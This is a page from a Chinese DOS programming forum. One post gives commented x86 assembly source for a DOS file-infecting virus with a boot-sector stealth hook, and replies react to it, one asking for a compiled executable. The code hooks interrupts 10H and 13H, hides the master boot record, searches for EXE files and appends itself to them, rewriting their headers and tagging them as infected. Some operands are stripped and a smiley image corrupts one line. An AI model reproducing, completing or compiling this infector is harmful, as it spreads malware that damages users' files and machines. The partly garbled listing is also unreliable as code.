中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS开发编程 & 发展交流 (开发室) » 磁盘杀手(批处理,只是恶意代码非病毒)
English/Chinese Fix Translation
作者:
标题: 磁盘杀手(批处理,只是恶意代码非病毒) 上一主题 | 下一主题
VC_COM
初级用户




积分 37
发帖 20
注册 2003-4-30
状态 离线
『第 16 楼』:   使用 LLM 解释/回答一下


SM PROC ;|---;子程序SM的作用:
MOV AX,DS: ;| ;将中断10H,13H分别保存
MOV DS:,AX ;| ;至85H,86H,并修改10H,13H
MOV AX,DS: ;| ;指向新中断部分
MOV DS:,AX ;|
;|
MOV AX,DS: ;|
MOV DS:,AX ;|
MOV AX,DS: ;|
MOV DS:,AX ;|
;|
MOV AX,OFFSET NEW10H-OFFSET HDP ;|
MOV DS:,AX ;|
MOV AX,22H ;|
MOV DS:,AX ;|
;|
MOV AX,OFFSET NEW13H-OFFSET HDP ;|
MOV DS:,AX ;|
MOV AX,22H ;|
MOV DS:,AX ;|
RET ;|
SM ENDP ;|

NEW10H:CMP AH,00 ;|-;新中断10H的作用:
JZ N1 ;| ;检测是否调用功能00H
INT 85H ;| ;是->将主代码装入内存
IRET ;| ; 并执行
N1: PUSH AX ;| ;否->调用原中断10H
PUSH BX ;|
PUSH CX ;|
PUSH DX ;|
PUSH DS ;|
PUSH ES ;|
;|
MOV AX,8000H ;|
MOV ES,AX ;|
;|
MOV AX,0202H ;|
XOR BX,BX ;|
MOV CX,0002H ;|
MOV DX,0080H ;|
INT 13H ;|
;|
MOV BX,OFFSET JMP_MAIN-OFFSET HDP ;|
JMP DWORD PTR CS:

NEW13H<img src="images/smilies/face-raspberry.png" align="absmiddle" border="0">USHF ;|----------------------;新中断13H的作用:
CMP CX,0001H ;| ;检测是否读主引导扇区
JNZ NGW ;| ;是->读0面0道4扇区
CMP AH,02H ;| ;否->调用原中断13H
JNZ NGW ;|
CMP DX,0080H ;|
JNZ NGW ;|
;|
MOV CX,0017H ;|
NGW: POPF ;|
INT 86H ;|
IRET ;|

;** PART 4:传染部分 ******************************************************

MAIN: MOV AX,CS
MOV ES,AX
MOV DS,AX

MOV AH,1AH ;|
MOV DX,OFFSET DTA ;|-----------------;设置DTA(磁盘传输地址)
INT 21H ;|

MOV AH,4EH ;|
JMP DIR ;|
SDIR: MOV AH,4FH ;| ;在当前目录中搜索第一个
DIR : MOV DX,OFFSET FNEXE ;|---------------;EXE文件
MOV CX,100111B ;| ;找到->继续
INT 21H ;| ;没找到->转HW
JC HW ;|

CMP DS:,BYTE PTR 77 ;| ;检测是否已感染
JZ SDIR ;| ;是->搜索下一个EXE文件
MOV CX,DS: ;| ; 直到找到或搜索完
CMP CX,09H ;|----------; 目录为止
JNB SDIR ;| ;否->实施传染
;| ;注:如果文件已感染或文
CALL GR ;| ; 长度超过90000H都不
; 会传染.
HW: POP ES
POP DS
POP DX
POP CX
POP BX
POP AX
INT 85H ;|---------------------------;执行原中断10H
IRET

GR PROC ;|------------------------------;子程序GR作用:
;传染EXE文件

MOV DX,OFFSET FN ;|
MOV AX,4301H ;|-----------------;置文件属性为:普通
MOV CX,100000B ;|
INT 21H ;|

MOV AX,3D02H
INT 21H ;|-----------------;打开文件
MOV BX,AX

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,8H ;|
INT 21H ;|--------------;读文件头节长度
MOV AH,3FH ;|
MOV CX,2H ;|
MOV DX,OFFSET H_EXE ;|
INT 21H ;|

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,14H ;|
INT 21H ;|---------------;保存原文件的 CS:IP
MOV AH,3FH ;| ;初始值
MOV CX,4H ;|
MOV DX,OFFSET B_IP ;|
INT 21H ;|

MOV AX,4202H ;|
XOR CX,CX ;|
XOR DX,DX ;|
INT 21H ;|
MOV DX,DS: ;|
MOV AX,DS: ;|
MOV CX,10H ;| ;使原文件的长度为10H的
DIV CX ;|-----------------;倍数,目的是为了使自身
INC AX ;| ;能运行在CS:00的环境下
SUB AX,DS: ;|
MOV DS:,AX ;|
SUB CX,DX ;|
PUSH CX ;|
MOV AH,40H ;|
INT 21H ;|

MOV AH,40H ;|
MOV CX,OFFSET P_SIZE ;|--------------;将自身附加在文件结尾
XOR DX,DX ;|
INT 21H ;|

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,02H ;|
INT 21H ;|
MOV DX,DS: ;|
MOV AX,DS: ;|
POP CX ;|
ADC AX,CX ;| ;将新文件的长度转换成
JNC NC1 ;| ;(页长度+最后一个扇区字节数)
INC DX ;|-----------;的形式
NC1: ADC AX,OFFSET P_SIZE ;| ;并将此结果写入EXE文件头
JNC NC2 ;|
INC DX ;|
NC2: MOV CX,200H ;|
DIV CX ;|
INC AX ;|
MOV DS:,DX ;|
MOV DS:,AX ;|
MOV DX,OFFSET B_EXE ;|
MOV CX,4H ;|
MOV AH,40H ;|
INT 21H ;|

MOV AX,4200H ;|
XOR CX,CX ;|
MOV DX,14H ;|
INT 21H ;|-------------;将计算后的新CS:IP初始值写
MOV AH,40H ;| ;入EXE文件头
MOV CX,4H ;|
MOV DX,OFFSET N_IP ;|
INT 21H ;|

MOV AX,5701H ;|
MOV CH,DS: ;| ;改回文件修改日期并打上
MOV CL,77 ;|----------------;已感染标志
MOV DX,DS: ;|
INT 21H ;|

MOV AH,3EH ;|---------------------;关闭文件
INT 21H ;|

MOV DX,OFFSET FN ;|
MOV AX,4301H ;|
XOR CH,CH ;|---------------;改回文件属性
MOV CL,DS: ;|
INT 21H ;|
RET ;|

GR ENDP
;|---------------;DTA(磁盘传输地址)的格式如下:
DTA DB 21 DUP(0) ;|---------------;DOS功能4FH将使用这些字节
C DB 0 ;|---------------;文件属性
T_L DB 0 ;|---------------;文件时间的低位
T_H DB 0 ;|---------------;文件时间的高位
D DW 0 ;|---------------;文件日期
S_L DW 0 ;|---------------;文件长度的低位
S_H DW 0 ;|---------------;文件长度的高位
FN DB 13 DUP(0) ;|---------------;文件的全名

P_SIZE:

CSEG ENDS
END START


2003-5-2 00:00
查看资料  发送邮件  发短消息  网志   编辑帖子  回复  引用回复
红色狂想
金牌会员

龙哥DOS


积分 4289
发帖 1501
注册 2003-2-23
来自 河南省
状态 离线
『第 17 楼』:   使用 LLM 解释/回答一下

这些字符是不是你胡乱敲的呀?让我看看你的精简Win 98再说!




C++C++C++C++C++C++C++C++C++C++C++C++C++C++C++
C++ ☆☆☆ 中国DOS联盟成员 ☆☆☆ C++
C++ ★★★ 爱提问的红色狂想 ★★★ C++
C++C++C++C++C++C++C++C++C++C++C++C++C++C++C++
2003-5-2 00:00
查看资料  发送邮件  访问主页  发短消息  网志  OICQ (189236106)  编辑帖子  回复  引用回复
Dark-Destroy
元老会员





积分 8312
发帖 3551
注册 2003-3-22
状态 离线
『第 18 楼』:   使用 LLM 解释/回答一下

以下是引用红色狂想在2003-5-2 16:31:24的发言:
这些字符是不是你胡乱敲的呀?让我看看你的精简Win&nbsp;98再说!

說的對,還是先拿出你的精簡win 98!!




MSN:tiqit2@hotmail.com
2003-5-2 00:00
查看资料  发送邮件  访问主页  发短消息  网志   编辑帖子  回复  引用回复
沈洁
金牌会员

小飞侠


积分 4590
发帖 1812
注册 2003-4-2
来自 上海市
状态 离线
『第 19 楼』:   使用 LLM 解释/回答一下

各位都是汇编高手啊!有没有做好的可执行文件上传啊!




2003-5-4 00:00
查看资料  发送邮件  发短消息  网志  OICQ (49662411)  编辑帖子  回复  引用回复
exipt
新手上路





积分 6
发帖 3
注册 2006-10-12
状态 离线
『第 20 楼』:   使用 LLM 解释/回答一下

沙发``红的不行咱们搞黑的```呵呵```


2006-10-25 16:56
查看资料  发送邮件  发短消息  网志   编辑帖子  回复  引用回复
zrz000
初级用户





积分 44
发帖 16
注册 2006-8-15
状态 离线
『第 21 楼』:   使用 LLM 解释/回答一下

佩服.有的人可能自以为了不起,看不起楼主的东西.实际上觉得这个太经典了.看事容易做事难.不信他的人可以自己做一个试试


2006-10-26 01:31
查看资料  发送邮件  发短消息  网志   编辑帖子  回复  引用回复
qsj
初级用户





积分 70
发帖 34
注册 2006-10-28
状态 离线
『第 22 楼』:  幸亏linux没有这些命令! 使用 LLM 解释/回答一下



2006-11-1 04:40
查看资料  发送邮件  发短消息  网志   编辑帖子  回复  引用回复
shikx2008
初级用户





积分 57
发帖 28
注册 2006-11-6
来自 中国
状态 离线
『第 23 楼』:   使用 LLM 解释/回答一下

厉害好没学会呢?


2006-11-8 02:28
查看资料  发送邮件  访问主页  发短消息  网志  OICQ (505975517)  编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: